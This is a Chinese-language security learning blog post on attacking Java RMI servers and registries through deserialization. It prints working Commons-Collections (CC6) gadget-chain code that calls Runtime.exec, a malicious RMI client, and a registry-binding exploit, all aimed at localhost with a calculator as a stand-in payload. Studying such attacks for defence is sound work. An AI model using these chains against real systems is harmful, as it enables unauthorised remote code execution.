Java RMI學習與解讀(三)


Java RMI學習與解讀(三)

寫在前面

接下來這篇就是最感興趣的Attack RMI部分了。

前面也說過,RMI的通信過程會用到反序列化,那么針對於RMI的三個角色: Server/Regisrty/Client 都存在攻擊方法,接下來解讀與學習這一部分。

引用下su18師傅文章中RMI部分的RMI執行流程圖,因為后面學習RMI的攻擊方式還是需要對RMI的執行流程很清楚才可以

Attack RMI

攻擊Server端

0x01 惡意傳參

其實這個思路簡單點說,就是在遠程接口(RemoteInterface)中聲明了一個方法,該方法的參數是一個對象(Object類型),那么在我們RMI時,傳入一個自定義的惡意對象,在RMI通信時序列化,在Server端觸發反序列化,且Server端存在一些Gadget就可以實現RCE。

這里有一個上一篇文章沒細跟的點,我們知道反序列化操作在RMI時是被封裝到了unmashralValue方法中,該方法位於rt.jar!/sun/rmi/server/UnicastRef.class中,只要不是八大基本類型的參數,最終都會反序列化(比如String,數組,以及基本數據類型的封裝類如Interger,這些都會被反序列化)所以說這個方法的參數類型不一定必須為Object。

下面還是選用Object類型

pom.xml加入CC或其他Gadget可RCE的,這里用的CC6

RemoteInterface

String attackServer(Object object) throws RemoteException;

RemoteObject

@Override
public String attackServer(Object object) throws RemoteException {
  return "In attackServer Method!";
}

RMIClient

public class RMIClient3 {
    public static void main(String[] args) throws Exception {
        //創建注冊中心對象
        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
        //打印注冊中心中的遠程對象別名list
        System.out.println(Arrays.toString(registry.list()));

        //通過別名獲取遠程對象存根stub並調用遠程對象的方法
        RemoteInterface stub = (RemoteInterface) registry.lookup("Zh1z3ven");

        System.out.println("[INFO] RegistryServer: " + stub.attackServer(evilObject()));

    }

    public static Object evilObject() throws Exception {
        Transformer Testtransformer = new ChainedTransformer(new Transformer[]{});

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
        };

        Map map = new HashMap();
        Map lazyMap = LazyMap.decorate(map, Testtransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test1");

        HashSet hashSet = new HashSet(1);
        hashSet.add(tiedMapEntry);
        lazyMap.remove("test1");

        //通過反射覆蓋原本的iTransformers,防止序列化時在本地執行命令
        Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(Testtransformer, transformers);

        return hashSet;
    }
}

大致流程為

RemoteInterface接口存在參數類型為Object的方法
Client端 ==>  將作為參數的對象進行序列化(通過遠程對象的引用也可以說是代理對象) ==> Server端 ==> 反序列化該參數(readObject) ==> 進入Gadget

那么這里有一個細節就是我們產生惡意類的方法的返回值(Object evilObject())與RemoteInterface中定義的方法的參數類型都為Object,這里是沒有問題的。但是當傳參的類型與我們傳入的類型不一致時,比如RemoteInterface接口定義的是A類型,我們傳入的是B類型,雖然都是傳入的對象,但在Server端會拋出找不到該方法的異常,因為傳入的參數類型與接口定義的方法不匹配。

這里有4種解決方法,僅復現第4種

  • 通過網絡代理,在流量層修改數據
  • 自定義 “java.rmi” 包的代碼,自行實現
  • 字節碼修改
  • 使用 debugger

首先我們在RemoteInterface接口中重載attackServer方法,方法的參數為Client端不存在的類(ServerObject), 在RemoteObjectInvocationHandler 的 invokeRemoteMethod 方法處下斷點,將method所代表的方法中的參數值類型改為服務端存在ServerObject.class再去觸發反序列化即可。

RMI-Server/RemoteInterface

RMI-Server/RemoteObject

將之前的attackServer方法內容注釋掉

RMI-Client/RemoteInterface

同時寫上這兩個方法且創建ServerObject類

可以嘗試先直接運行Client端 會拋出異常

我們這里在java/rmi/server/RemoteObjectInvocationHandler.javainvokeRemoteMethod方法下斷點

debug,更改method的值

彈出計算器

回頭看看這個利用手法的限制:

  1. 已知RemoteInterface且其中存在某方法的參數類型為對象
  2. 這個對象的模版類已知
  3. 存在反序列化Gadget且可利用

0x02 動態加載

前面也提到了RMI支持動態加載,當本地 ClassPath 中無法找到相應的類時,會在指定的 codebase 里加載 class。

當時提到了兩個場景,分別是Client端加載Server端和Server端加載Client端。這里用到的就是Server端加載Client端。

通過java.rmi.server.codebase屬性設置rmi協議的URL,讓Server端加載指定URL下的惡意類完成RCE。

當然使用動態類加載依然有使用前提:

  1. Server端設置RMISecurityManager作為安全管理器(SecurityManager)
  2. Server端屬性 java.rmi.server.useCodebaseOnly 的值必須為false(JDK 6u45、7u21之前默認為false)
  3. serialVersionUID ,這個點是個人想到的,如果UID不一樣導致反序列化失敗如何解決?

動態加載時用的是loadClass方法加載.class文件,但是調用方法時是在遠程Server端而本地Client端是拿到的方法執行后的返回值。那如何利用呢?

這里想到個不太現實的場景:Server端的RemoteObject中實現的方法會去將我們傳入的遠程對象進行newInstance操作,觸發靜態代碼塊中代碼執行。那么可控點出來了,我們在Client端上的遠程類構造CC poc(或其他任意RCE的)寫入靜態代碼塊。達到遠程代碼執行orRCE。

但是這里有新問題:

  1. 真的有這種場景嘛?(感覺基本實戰遇不到)
  2. 因為Server端只會loadClass並不會進行反序列化(所以在靜態代碼塊中就要完成readObject的操作),即使我們不是CC poc,只是寫了Runtime.exec去執行命令,如何避免本地觸發命令執行呢?

RemoteInterface

String attackServerLoadClass(Object object) throws RemoteException;

RemoteObject

@Override
public String attackServerLoadClass(Object object) throws RemoteException {
  try {
    object.getClass().newInstance();
  } catch (InstantiationException e) {
    e.printStackTrace();
  } catch (IllegalAccessException e) {
    e.printStackTrace();
  }

  return object.getClass().getName();
}

其他部分基本和之前動態加載代碼沒啥區別,惡意類的話,在靜態代碼塊寫入CC poc或runtime.exec()彈calc即可

這么來看針對於Server端的攻擊,可能性高的還是RemoteInterface中聲明的方法其中有以對象作為參數的,因為Server端會對傳入的參數進行反序列化達到RCE(需要有已知Gadget)

攻擊Registry

關於Registry其實就是Server端在綁定(bind)name與遠程對象時,Server端序列化傳輸遠程對象到Registry,Registry在進行反序列化從而進入Gadget。當然bind方法只是其中一個可以進入反序列化的點,同樣的還有list/lookup/rebind/unbind,只不過可控的傳參類型有些區別,比如lookup是可控string類型,bind則是Object就會在構造poc上更方便些。

RegistryServer

public class RegistryServer5 {
    public static void main(String[] args) {

        try {
            //創建Registry
            Registry registry = LocateRegistry.createRegistry(1099);

            //實例化遠程對象類,創建遠程對象
            RemoteObject remoteObject = new RemoteObject();
            //通過Naming類綁定別名與 RemoteObject
            Naming.bind("rmi://127.0.0.1:1099/Zh1z3ven", remoteObject);
            //通過Naming類綁定別名與 RemoteObject
            System.out.println("RegistryServer Start ...");

            System.out.println("Registry List: " + Arrays.toString(registry.list()));

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

AttackRegisrty

public class AttackRMIRegistry {

    public static void main(String[] args) throws Exception {
        // 使用AnnotationInvocationHandler做動態代理
        Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = aClass.getDeclaredConstructors()[0];
        constructor.setAccessible(true);

        HashMap<String, Object> map = new HashMap<String, Object>();
        map.put("zh1z3ven", evilObject());

        InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);

        Remote remote = (Remote) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Remote.class,}, invocationHandler);
        // 獲取Registry
        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
        registry.unbind("zh1z3ven2");
        registry.bind("zh1z3ven2", remote);
        System.out.println("RegistryServer List: " + Arrays.toString(registry.list()));


    }

    public static Object evilObject() throws Exception {
        Transformer Testtransformer = new ChainedTransformer(new Transformer[]{});

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
        };

        Map map = new HashMap();
        Map lazyMap = LazyMap.decorate(map, Testtransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test1");

        HashSet hashSet = new HashSet(1);
        hashSet.add(tiedMapEntry);
        lazyMap.remove("test1");

        //通過反射覆蓋原本的iTransformers,防止序列化時在本地執行命令
        Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(Testtransformer, transformers);

        return hashSet;
    }
}

END

當然還有很多手法這里沒記錄,比如DGC層反序列化,攻擊Client端,BypassJEP290,RMI相關Gadget,BaRMIe工具解讀都還沒有做,后面遇到了再分析。深感學習RMI吃力,下面列一些參考文章,感興趣的師傅可以深入研究下。

Reference

https://su18.org/post/rmi-attack/

https://xz.aliyun.com/t/7930

https://xz.aliyun.com/t/7932

https://mp.weixin.qq.com/s/M_-lWKb9xO6u2MxRaEQ--Q


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM